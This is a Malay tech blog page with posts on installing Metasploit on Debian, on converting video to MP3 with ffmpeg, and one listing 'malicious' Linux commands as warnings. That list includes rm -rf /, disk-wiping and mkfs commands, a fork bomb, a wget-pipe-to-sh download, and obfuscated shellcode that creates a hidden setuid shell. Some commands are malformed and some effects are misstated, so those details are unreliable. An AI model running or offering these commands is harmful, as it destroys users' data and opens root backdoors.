Install Metasploit Dalam Debian

As-Salamualaikum.

Hari ni penulis akan kongsikan sedikit ilmu tentang bagaimana untuk install metasploit pada debian.

Step-By-Step:

1- Install dependacies terlebih dahulu.

apt-get install build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev openjdk-7-jre subversion git-core autoconf postgresql pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev vncviewer libyaml-dev ruby1.9.3

2- Install Ruby yang diperlukan metasploit:

gem install wirble sqlite3 bundler

3- Install network scanner(Nmap):

apt-get install nmap

4- Kemudian change directory dengan perintah cd /opt dan download salinan metasploit dari github:

git clone https://github.com/rapid7/metasploit-framework.git

5- Masuk pula ke directoy metasploit dengan arahan cd metasploit-framework dan:

bash -c 'for MSF in $(ls msf*); do ln -s /opt/metasploit-framework/$MSF /usr/local/bin/$MSF;done'

   bundle install

6- Install postgresql(apt-get install postgresql) dan setup database:

su postgres

createuser msf -P -S -R -D

createdb -O msf msf

exit

7- Create database dengan arahan nano /opt/metasploit-framework/database.yml dan isi dengan maklumat ini:

production:
   adapter: postgresql
   database: msf
   username: msf
   password: 
   host: 127.0.0.1
   port: 5432
   pool: 75
   timeout: 5

8- Create enviromental variable:
sh -c "echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml >> /etc/profilesource /etc/profile"

9- Install port scanning gems:
gem install pcaprub

10- masukkan arahan 'msfconsole' untuk lihat keberhasilan.

N3C juga telah mencipta bash script untuk memudahkan anda install metasploit dalam debian.

Coded By 4HM3D

P/S: Untuk menggunakan script ini baca README terlebih dahulu agar tidak menyesal dikemudian hari.RUN AS ROOT ^_^ dahulu yea

DOWNLOAD 

Read More

Malicious Command Dalam Linux

Assalamualaikum dan selamat petang.

Seperti semua maklum Linux merupakan sebuah operating system yang memegang konsep 'sumber-terbuka' namun ada beberapa command yang dicipta attacker untuk merosakkan sistem tertentu.Code ini diubah suai kerana code yang dikongsi adalah sumber terbuka dan attacker dapat memanipulasikan nya.

antara malicious command yang dimaksudkan:

command: rm -rf /

kesan: memadam semua folder dalam root directory

command: char esp[] _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″ “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″ “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″ “x56x04xf7x56x08xf7x56x0cx83xc4x74x56″ “x8dx73x08x56x53x54x59xb0x0bxcdx80x31″ “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″ “x6ex2fx73x68x00x2dx63x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

kesan: sama dengan command diatas cuma ini versi hex untuk mengaburi mangsa.

command: mkfs.ext3 /dev/sda1

kesan: command ini akan menyebabkan semua perkakasan dipadam.

command: :(){:|:&};:

kesan: akan menyebabkan sistem berjalan  dengan sendirinya sehingga 'hang'(diibaratkan ddos diri sendiri)

command: any_command > /dev/sda

kesan: overwrite data pindah ke device dan data akan hilang semuanya

command: wget http://some_untrusted_source O | sh

kesan: secara automatik sistem akan memuat turun software dari sumber yang tidak dipercayai dan berbahaya.

command: mv ~/* /dev/null atau mv /home/yourhomedirectory/* /dev/null

kesan: * /dev/null merupakan lokasi khas memindah data di /dev/null adalah seperti menghapusnya.

command: if=/dev/urandom of=/dev/sda

kesan: akan memenuhkan hard disk dengan data rawak.

command: yes > /dev/sda 

kesan: akan memenuhkan harddisk dengan perkataan 'y' sehingga memory habis digunakan

Amaran: SEGALA KEROSAKAN DITANGGUNG SENDIRI!

Read More

Tukar Video ke MP3 via Terminal

Assalamualaikum dan selamat malam kepada pembaca blog NEC.

Sebelum tu admin mintak maaf jika tidak menepati janji sebelum ni huhu ada problem sikit XD

Tukar Video ke MP3 via Terminal mudah sahaja sebenarnya apa yang diperlukan hanyalah ffmpeg.

contoh korang ada satu video tutorial yang lagu background dia gempak giler! mesti teringinkan?

Jadi ffmpeg ni sangat sesuai menjadi converter.Dia ada dua jenis ffmpeg ni:

1-versi cli(command line)

2-GUI(Graphic User Interface)

Jadi malam ni admin akan terangkan dulu cara menggunakan versi cli sebab gui ni tak perlu pon tuto tengok pon dah tahu.Ok jom mula.

Install dahulu software nya: apt-get install ffmpeg.Yang inginkan versi gui hanya search di ubuntu software centre.Selepas install jalankan command:

1- Check dahulu video apa korang nak convert ke mp3 tu dan periksa info.

  Command: ffmpeg -i file_korang video.avi 

2- Sesudah mengetahui info sesuatu video yang nak ditukar formatnya jalankan pula commad: 

ffmpeg -i file_video.avi -vn -ar 44100 -ac 2 -ab 192 -f mp3 apa2je.mp3 

Keterangan:

Video awal:Tamer_Hosny

audio bitrate:192kb/s

output format:mp3

selepas di convert:Jiwang.mp3

/root/Desktop/Jiwang,mp3:tempat menyimpan mp3 lepas convert

3- Hasilnya

admin tengah dengar video yang baru habis di convert XD

Tested on: Backtrack,Ubuntu and Kali totally work!

-sekian-

Read More

Cari admin page menggunakan perl script

Assalamualaikum dan selamat tengah hari , setelah sekian lama admin tak update blog ni sbb bz sikit . k , dalam tutorial kali ini admin aku berkongsi dengan anda bagai mana untuk mencari admin page menggunakan perl script .

Read More